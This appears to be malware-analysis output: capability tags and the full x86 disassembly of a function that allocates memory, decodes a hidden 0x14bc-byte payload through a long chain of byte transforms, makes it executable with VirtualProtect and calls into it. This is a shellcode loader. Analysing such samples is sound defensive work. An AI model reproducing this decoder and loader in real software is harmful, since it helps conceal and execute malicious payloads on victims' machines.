Function at 0x100076a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 4
push 0x3000
push 0x11e1a300
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100076d1
xor eax, eax
jmp 0x10007a17
push 0x11e1a300
mov eax, dword [ebp - 4]
push eax
call fcn.10007a20
add esp, 8
mov dword [0x1000c548], 0
jmp 0x100076fd
mov ecx, dword [0x1000c548]
add ecx, 1
mov dword [0x1000c548], ecx
cmp dword [0x1000c548], 0x14bc
jae 0x100079f8
mov edx, dword [0x1000c548]
mov al, byte [edx + 0x1000b080]
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
sub ecx, 0x94
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
not edx
mov byte [0x1000c554], dl
movzx eax, byte [0x1000c554]
add eax, dword [0x1000c548]
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
sar ecx, 1
movzx edx, byte [0x1000c554]
shl edx, 7
or ecx, edx
mov byte [0x1000c554], cl
movzx eax, byte [0x1000c554]
xor eax, dword [0x1000c548]
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
not ecx
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
sub edx, 0x19
mov byte [0x1000c554], dl
movzx eax, byte [0x1000c554]
xor eax, 0x22
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
add ecx, dword [0x1000c548]
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
sar edx, 2
movzx eax, byte [0x1000c554]
shl eax, 6
or edx, eax
mov byte [0x1000c554], dl
movzx ecx, byte [0x1000c554]
xor ecx, dword [0x1000c548]
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
add edx, dword [0x1000c548]
mov byte [0x1000c554], dl
movzx eax, byte [0x1000c554]
not eax
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
sub ecx, dword [0x1000c548]
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
not edx
mov byte [0x1000c554], dl
movzx eax, byte [0x1000c554]
xor eax, 0x7c
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
not ecx
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
sub edx, dword [0x1000c548]
mov byte [0x1000c554], dl
movzx eax, byte [0x1000c554]
xor eax, 0x4b
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
sar ecx, 7
movzx edx, byte [0x1000c554]
shl edx, 1
or ecx, edx
mov byte [0x1000c554], cl
movzx eax, byte [0x1000c554]
not eax
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
xor ecx, 0x3d
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
add edx, dword [0x1000c548]
mov byte [0x1000c554], dl
movzx eax, byte [0x1000c554]
xor eax, dword [0x1000c548]
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
neg ecx
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
add edx, 0x4b
mov byte [0x1000c554], dl
movzx eax, byte [0x1000c554]
not eax
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
sub ecx, 0xcb
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
xor edx, dword [0x1000c548]
mov byte [0x1000c554], dl
movzx eax, byte [0x1000c554]
sub eax, 0xe1
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
sar ecx, 6
movzx edx, byte [0x1000c554]
shl edx, 2
or ecx, edx
mov byte [0x1000c554], cl
movzx eax, byte [0x1000c554]
xor eax, 0xd9
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
neg ecx
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
not edx
mov byte [0x1000c554], dl
movzx eax, byte [0x1000c554]
add eax, 0x45
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
xor ecx, 0x3a
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
sub edx, 0x40
mov byte [0x1000c554], dl
movzx eax, byte [0x1000c554]
neg eax
mov byte [0x1000c554], al
movzx ecx, byte [0x1000c554]
add ecx, 0x8a
mov byte [0x1000c554], cl
movzx edx, byte [0x1000c554]
xor edx, dword [0x1000c548]
mov byte [0x1000c554], dl
mov eax, dword [0x1000c548]
mov cl, byte [0x1000c554]
mov byte [eax + 0x1000b080], cl
jmp 0x100076ee
lea edx, [ebp - 8]
push edx
push 0x40
push 0x14bc
push 0x1000b080
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x1000b080
call eax
xor eax, eax
mov esp, ebp
pop ebp
ret